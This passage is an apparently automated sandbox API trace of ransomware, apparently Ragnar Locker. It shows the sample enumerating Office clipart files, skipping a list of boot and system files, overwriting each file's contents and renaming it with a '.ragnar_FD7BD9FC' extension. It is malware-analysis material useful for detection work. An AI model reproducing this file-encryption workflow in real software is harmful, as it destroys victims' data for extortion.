hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.928] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.928] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.928] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.928] GetProcessHeap () returned 0x580000 [0089.928] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.928] CloseHandle (hObject=0xf4) returned 1 [0089.928] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" [0089.928] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.ragnar_FD7BD9FC" [0089.928] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.929] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x211bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01046J.JPG", cAlternateFileName="")) returned 1 [0089.929] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.929] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01046J.JPG" | out: lpString1="PH01046J.JPG") returned="PH01046J.JPG" [0089.929] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG") returned=".JPG" [0089.929] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.929] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="autorun.inf") returned 1 [0089.929] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="boot.ini") returned 1 [0089.929] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="bootfont.bin") returned 1 [0089.929] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="bootsect.bak") returned 1 [0089.929] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="bootmgr") returned 1 [0089.930] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="bootmgr.efi") returned 1 [0089.930] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="bootmgfw.efi") returned 1 [0089.930] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="desktop.ini") returned 1 [0089.930] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="iconcache.db") returned 1 [0089.930] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="ntldr") returned 1 [0089.930] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="ntuser.dat") returned 1 [0089.930] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="ntuser.dat.log") returned 1 [0089.930] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="ntuser.ini") returned 1 [0089.930] lstrcmpiW (lpString1="PH01046J.JPG", lpString2="thumbs.db") returned -1 [0089.930] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0089.930] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0089.930] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0089.930] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0089.930] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0089.930] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0089.930] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0089.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg")) returned 0x20 [0089.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.931] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=135611) returned 1 [0089.931] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x211b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.931] GetProcessHeap () returned 0x580000 [0089.931] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.931] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.934] VirtualAlloc (lpAddress=0x0, dwSize=0x211bb, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.935] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.935] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.935] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x211bb, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x211bb, lpOverlapped=0x0) returned 1 [0089.938] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.939] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x211bb, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.939] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x211bb, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x211bb, lpOverlapped=0x0) returned 1 [0089.939] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x211bb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.939] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.940] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x211bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.940] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.940] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.940] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.940] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.940] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.940] GetProcessHeap () returned 0x580000 [0089.940] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.941] CloseHandle (hObject=0xf4) returned 1 [0089.941] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" [0089.941] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.ragnar_FD7BD9FC" [0089.941] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.942] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4a3a00, ftCreationTime.dwHighDateTime=0x1bd50ad, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd4a3a00, ftLastWriteTime.dwHighDateTime=0x1bd50ad, nFileSizeHigh=0x0, nFileSizeLow=0xa202, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01179J.JPG", cAlternateFileName="")) returned 1 [0089.942] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.942] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01179J.JPG" | out: lpString1="PH01179J.JPG") returned="PH01179J.JPG" [0089.942] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG") returned=".JPG" [0089.942] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.942] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="autorun.inf") returned 1 [0089.942] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="boot.ini") returned 1 [0089.942] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="bootfont.bin") returned 1 [0089.942] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="bootsect.bak") returned 1 [0089.942] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="bootmgr") returned 1 [0089.942] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="bootmgr.efi") returned 1 [0089.942] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="bootmgfw.efi") returned 1 [0089.942] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="desktop.ini") returned 1 [0089.943] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="iconcache.db") returned 1 [0089.943] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="ntldr") returned 1 [0089.943] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="ntuser.dat") returned 1 [0089.943] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="ntuser.dat.log") returned 1 [0089.943] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="ntuser.ini") returned 1 [0089.943] lstrcmpiW (lpString1="PH01179J.JPG", lpString2="thumbs.db") returned -1 [0089.943] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0089.943] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0089.943] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0089.943] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0089.943] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0089.943] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0089.943] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0089.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg")) returned 0x20 [0089.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.943] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=41474) returned 1 [0089.943] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa1f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.943] GetProcessHeap () returned 0x580000 [0089.943] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.944] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.945] VirtualAlloc (lpAddress=0x0, dwSize=0xa202, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.945] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.945] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.945] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa202, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa202, lpOverlapped=0x0) returned 1 [0089.946] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.947] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa202, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.947] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa202, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa202, lpOverlapped=0x0) returned 1 [0089.947] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa202, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.947] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.947] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa202, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.947] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.947] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.947] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.947] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.947] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.948] GetProcessHeap () returned 0x580000 [0089.948] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.948] CloseHandle (hObject=0xf4) returned 1 [0089.948] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" [0089.948] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.ragnar_FD7BD9FC" [0089.948] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.948] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18be, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01213K.JPG", cAlternateFileName="")) returned 1 [0089.948] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.948] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01213K.JPG" | out: lpString1="PH01213K.JPG") returned="PH01213K.JPG" [0089.948] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG") returned=".JPG" [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="autorun.inf") returned 1 [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="boot.ini") returned 1 [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="bootfont.bin") returned 1 [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="bootsect.bak") returned 1 [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="bootmgr") returned 1 [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="bootmgr.efi") returned 1 [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="bootmgfw.efi") returned 1 [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="desktop.ini") returned 1 [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="iconcache.db") returned 1 [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="ntldr") returned 1 [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="ntuser.dat") returned 1 [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="ntuser.dat.log") returned 1 [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="ntuser.ini") returned 1 [0089.949] lstrcmpiW (lpString1="PH01213K.JPG", lpString2="thumbs.db") returned -1 [0089.949] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0089.949] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0089.949] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0089.949] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0089.949] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0089.949] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0089.949] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0089.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg")) returned 0x20 [0089.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.950] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6334) returned 1 [0089.950] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x18b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.950] GetProcessHeap () returned 0x580000 [0089.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.950] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.951] VirtualAlloc (lpAddress=0x0, dwSize=0x18be, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.952] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.952] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.952] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x18be, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x18be, lpOverlapped=0x0) returned 1 [0089.952] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.953] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18be, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.953] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x18be, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x18be, lpOverlapped=0x0) returned 1 [0089.953] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.953] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.953] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x18be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.953] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.953] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.953] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.953] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.953] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, 